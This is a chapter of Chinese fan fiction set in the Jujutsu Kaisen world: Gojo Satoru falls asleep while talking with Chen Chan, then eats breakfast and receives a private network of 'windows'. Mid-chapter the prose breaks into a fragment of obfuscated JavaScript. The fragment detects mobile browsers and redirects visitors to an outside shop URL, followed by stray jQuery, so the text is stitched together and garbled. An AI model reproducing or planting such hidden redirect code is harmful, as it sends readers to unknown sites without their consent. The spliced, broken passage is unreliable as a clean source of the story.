14.犬吠其主(4)

作品:《我靠氪金成为最强术师的金牌辅助

    经常熬夜的人都知道,生物钟有多么不讲道理。纵然额角发胀、眼眶刺痛,五条悟也照样难以入眠,只能沾在枕头上滚来滚去,蓬松柔顺的发丝被他折腾得像一团枯草。


    这就不是他平常休息的时间。


    “也就是说,现在就算屏蔽你的五感,你也不能马上睡着。”


    陈潺侧过身体,示意猫咪把头伸过来一些。


    覆盖一层薄茧的柔韧指腹便不轻不重地按在几处穴位上,白色大猫发出惬意的哼声。


    或许是久病成医的关系,怪物非常了解人类的身体构造——当然,病的人不是他,而是偶尔跟执行官组队的人类同僚们。


    说起这个还得感谢五条悟。


    在没接触那部漫画、没见过他之前,指望陈潺去照顾队友,异想天开。


    现在这套照料人的经验被用在原主身上,也算一种轮回。


    “是啊,很麻烦吧。”五条悟闭着眼睛回答,脑袋还不自觉往陈潺的手里贴。


    陈潺微微停顿,随即很懂事地加重力道。


    他施加的力道越重,就代表五条悟正忍受着多严峻的疼痛——且比他用的力只重不轻。


    猫咪不忿地拖出一个「Ah」音,跟小孩子们情绪起伏时喊出的无意义音节如出一辙。


    “好不容易的休息日!”


    他不满地握住陈潺的手腕,又不让对方停下来。


    这是很无理取闹的举动,甚至影响按摩。但身边人什么也没说。


    只有一声很轻很轻的笑。


    轻得像幻觉。轻得像一戳就破的肥皂泡,仿佛陈潺这个人从未存在过。


    五条悟陡然攥紧他的手腕。


    不用按摩了,什么都不用做了。


    他只是用力抓着,像刚诞生的婴儿抓住第一个触碰他的东西那样,像没被规则驯化过的孩子抓住喜欢的东西那样。好在怪物也不挣扎,这令人类妥帖许多。


    “不麻烦。”喜欢的东西认真答道,“人类都这样。”


    怪里怪气的概括性口吻,好像把「自己」排除在人群之外。


    五条悟想起曾经看过的书,某些科学家研究昆虫时也会来一句「这个种类的昆虫天然具备这样的习性。」


    “我不明白你为什么觉得麻烦。”恰似神话生物的紫眼睛望着他,“告诉我?”


    “首先,你帮我做任务。”五条悟列举着,“其次,你帮我是为了让我多休息;最后,我休息不了。”他似乎自己也不明白为什么会假定它是麻烦的,边说边艰难地捋着思路,“你就等于白干了。”


    没有回话,五条悟也没有睁开眼睛,但他知道对方正平和、清醒地注视自己。这是六眼的好处,也是六眼的坏处,对于正在酝酿睡意的人来说,360°无死角的可见度并不是好消息。


    但陈潺给他的感觉并不坏,如果四面八方都是这种玉石一般的目光,那他或许也能睡个很好的觉。就下个偶尔做的梦中,他养着一群五颜六色的狗,它们围在他身边或趴或坐。要是进入大脑的讯息全是这些毛茸茸,那睁着眼睛也能睡着吧。


    鱼就是没有眼皮的生物,因为水对它是好的。


    狗对人也是好的。


    “啊,真的很想养小狗狗。小狗狗很萌、很可爱,开门就会扒着你的裤脚摇尾巴。”


    话题毫无预兆地转换到宠物频道了,好在听者是人类学全才,什么话都能接住。


    “金毛吗?不过那是大型犬吧。小体型的,据说西高地会好一些,比熊也很可爱,只是毛发需要经常打理。”


    “你发的那个黑色的狗也很不错啊,舌头也是黑的。我头一次见到这种狗。”


    “那是中大型犬。”


    “无所谓啦,反正大的小的我都养不了。蒙眼长腿大帅哥超忙哦。”


    “我的头发也是黑的。”


    五条悟罕见地被说懵了。


    不,也不能说罕见。在这个人面前,他那经常被吐槽的跳脱都得甘拜下风——这个家伙已经完全不是跳线、随意等等词汇能形容的吧?那双眼睛比起工作中的辅助监督还要认真!


    真恐怖啊,这就是天赋型吗?认真地说出他这种职业选手都招架不住的话……


    “你知道吗,前28年只有别人在我面前被噎得说不出话的份。”


    “你不是故意的。”


    看吧。


    正常人在这个时候,大多说些不冷不热的话就搪塞过去了。就连跟自己相处久一些的同期,大概率也是沉默或吐槽。


    少数放得开的则顺下去开更恶劣的玩笑,放不开又恪守礼仪的,则会强行换话题。


    而这个人的第一反应是为他开脱!


    “而且跟你聊天很顺畅啊。”陈潺说,“被噎住肯定是其他人的问题。或许需要更活络的脑子?我家乡的保健品可能适合他们。”


    “哈哈,这种骗人的东西哪里都会有吧?东京也不缺骗子哦。”


    “难说,国内外的月亮亦有区分呢。”有什么东西碰了一下手背,颜色如同失去阳光的东京,是陈潺的「天予咒缚」,“让他们花钱买外国保健品,能吃到地域教训。自己上当,比被骗着上当好多了。”


    咒缚的触感很微妙。像雾气,又像海水,但缠绕时又有肉贴肉的柔韧感,不滑腻的章鱼触足、没有鳞的鱼、含水量60%的水母……那不就是人吗?总之,它从背后扣住五条悟的十指,五条悟就得泄力,令掌心和手腕之间空出一点距离,给黑雾栖息。


    “你说话攻击性一直这么强吗?”五条悟问。


    “也可以很礼貌。”


    “嗯嗯,比如暗恋宿傩?还有,我不讨厌说话有个性的人。”


    “我不暗恋宿傩。对他们没有礼貌的必要。”


    “那——谁会有这个殊荣,赢得特级术师、留洋归来、身处高位的陈先生的礼貌?你有一套详细的判定标准的吧?别告诉我是石头剪刀布。”


    “五条悟。”


    “嗯?”


    “标准。”


    咒缚摩挲着手指内侧,肉被勒出流动的痕迹。十指紧扣的错觉。


    “你是标准呀。”怪物很愉快地弯起嘴角,唱歌似的、即将要飞起来的语调,“然后就是,拥护你的人?喜欢你的人?我认可他们的选择与眼光。”


    “你听起来快要发射到外太空去了。”五条悟说,“早几年你怎么不来呢?”


    “那时候精神不太好。”陈潺说,“忙着在一些该死的生物那里制造破坏呢。”


    ■


    最终是聊着聊着睡过去的,没有屏蔽五感,也没用上任何助眠药物。


    五条悟也没想到,他居然能在半小时之内沉眠。


    那是几乎吞噬天灵盖的玄妙感觉,眼球胀痛又快活,所有的信息、所有的声音都在距离灵魂半寸之外停驻。仿佛意识也被隔了一层无下限。


    困意的潮汐,居然也能聊着聊着就席卷而来吗?


    六眼持有者从来没有过这样的体验,但他欣然接受。


    “晚安。”身边人说。


    平和的声调,不会消散在空气里,更不是幻觉。


    五条悟不再钳着对方的手腕,他规整地平躺,自有黑色的「咒缚」替他整理被子。


    真方便啊。意识沉沦之前,他想,天予咒缚也有数值膨胀吗?


    ……


    确实有。


    东京时间7:00。


    准时睁眼的白猫望着缠在自己身上、抢走大半原本应该是被子的位置的「咒缚」,如是想到——曾几何时,天予咒缚还只是会耍咒具,现在已经能压床了。


    身边人早已不见踪影,六眼却在空气中隐约读出异样的成分。他站起来——咒缚便如潮水般褪去,蜷在他的脚边,小狗一样走一步跟一步。


    联想到那家伙近乎卖弄似的说自己是黑色头发……


    他会无法直视黑发的,这样可不行。


    身边有不少黑头发的人呢,夜蛾、伊地知、惠……就连悠仁也有一半是黑的。真可怕,不知不觉被黑色系包围了啊。


    猫咪伸着懒腰走出卧室,门是「咒缚」抢先一步打开的,不会打断五条悟的拉伸动作。


    高空水汽的味道、早晨出门特有的寒气,温暖的小麦香气——组成六眼被发觉出的异样,毕竟以往的这个时刻,他的屋子才刚刚苏醒。


    而现在嘛……


    五条悟望向餐桌旁巡视的人。对方换了身衣服,虽说跟昨天是同款,但颜色是开朗的金,硬是给那张没什么表情的脸衬出少年气。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316361|198459||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >啊,话说早了。


    原本平直的面部线条下一秒就柔和起来,陈潺面对五条悟时总是欢迎的。


    “打扮的很年轻哦。”


    “你喜欢就很好。”对方打了个响指,盘在自己脚边的「咒缚」便蛇一样蜿蜒着爬回去,融入陈潺体内,“我打算这几天把头发染成金色。”


    金色……金毛?


    五条悟头一次痛恨自己长了个过于聪明的大脑。


    “嗯嗯,很好的审美。但我觉得不用,你已经很帅气了。”


    真染成金色,我会无法直视七海的。


    “好。”对方沉思一会,“那染发的事之后再说。桌子上是三明治和甜牛奶,从左往右甜度依次递增,你感兴趣吗?”


    五条悟无可无不可地点点头,本来早餐就没有多少时间,他并不挑剔。


    ■


    洗漱、换衣,按部就班地完成这一切。


    亮点是早餐。最低甜度的牛奶跟高糖曲奇搭配起来,味道出奇优秀。


    五条悟眼睛一口气吃了好几块,吃得眼睛亮亮的。


    腻了有三明治、舌头舒服了就换牛奶曲奇……总之,这是一顿很合六眼与他心意的早餐。


    虽然他是甜党啦,但也不是只会吃糖的。


    “明天我要吃汉堡。”理所应当地提出要求,“要甜芝士配番茄片,不要酸黄瓜。”


    反正对方总会答应。


    不会有惊愕的目光、也不会反对,更不会有居高临下的纵容——包容胡闹的小孩子那样。


    陈潺只会说:好。然后做到。


    果不其然,“好。”


    没有多余的情绪,听到要求,并出自私心完成它。


    五条悟想,他或许知道为什么陈潺会说「我不明白你为什么觉得麻烦」了。


    ——这个人完全乐在其中。


    陈潺拉开一张椅子,也坐在桌旁,但是什么都不吃。问就是吃过了——确实吃了,出门逛一圈吃了两只三级咒灵。


    大都市里的恨意来的太轻松了,有恨面包店为什么不上架网络爆款的、有恨街上为什么有红绿灯的,只要你有双慧眼,到哪都不缺诅咒吃。


    毕竟窗的效率非常糟糕,一般不出人命都发现不了。


    陈潺双腿交叠,专心致志地盯五条悟吃饭。盯得白发术师后来用他的眼睛当镜子,检查自己嘴角是否有食物残渣。


    结果当然是没有,五条家主的行为习惯非常良好。


    但还是仔细擦拭一番。


    “今天有什么需要我做的?”


    就在五条对着紫眸自我检查的时候,陈潺主动提问。


    “把势力上交。”五条悟刚说完,面前就摆了部手机。


    果然跟昨晚联系总监部的不是同一部啊。


    他点着通讯录,这次上面不是脑残了,而是一个一个标注着咒力等级的人类。


    ?


    白发术师惊讶地抬眼,对面的人平静地点了点头。


    “咒术界效率太低了。”陈潺解释道,“你如果不这么忙,会发现更多有潜力的人。这里的人,”他点了点手机,“水平上限大多在「窗」那个级别。”


    人命和满大街找人才相比,让五条悟选一万次都会选择前者。


    而说得难听点,整个咒术界真正做实事的、真正能做出有用的事情的,也只有五条悟。


    六眼术士拿起喝空的玻璃杯,跟其他甜度的牛奶依次碰撞。


    “窗也很好啊、非常好!”五条悟高兴极了,“我们已经缺乏一个可靠的检测组织太久了——十个任务里有五个是错判、剩下的跟地雷游戏一样动不动就紧急情况,太多低级术师都葬身在里面了——介意我把它交付给信任的人操作吗?你知道的,我很忙。”


    伊地知洁高真能办得来吗?这么繁重的工作。


    陈潺深表怀疑,他沉吟一会,最终还是选择相信人类的潜力。


    “只要他吃得消。”怪物说。


    “真可怕,你不会知道我在说谁吧?”


    “如果你有遍及全国、乃至海外的私人「窗」,你也会知道的。”


    陈潺拿起最高甜度的牛奶,跟五条悟手里的空杯子碰了碰,随之一饮而尽。


    “现在它是你的了。”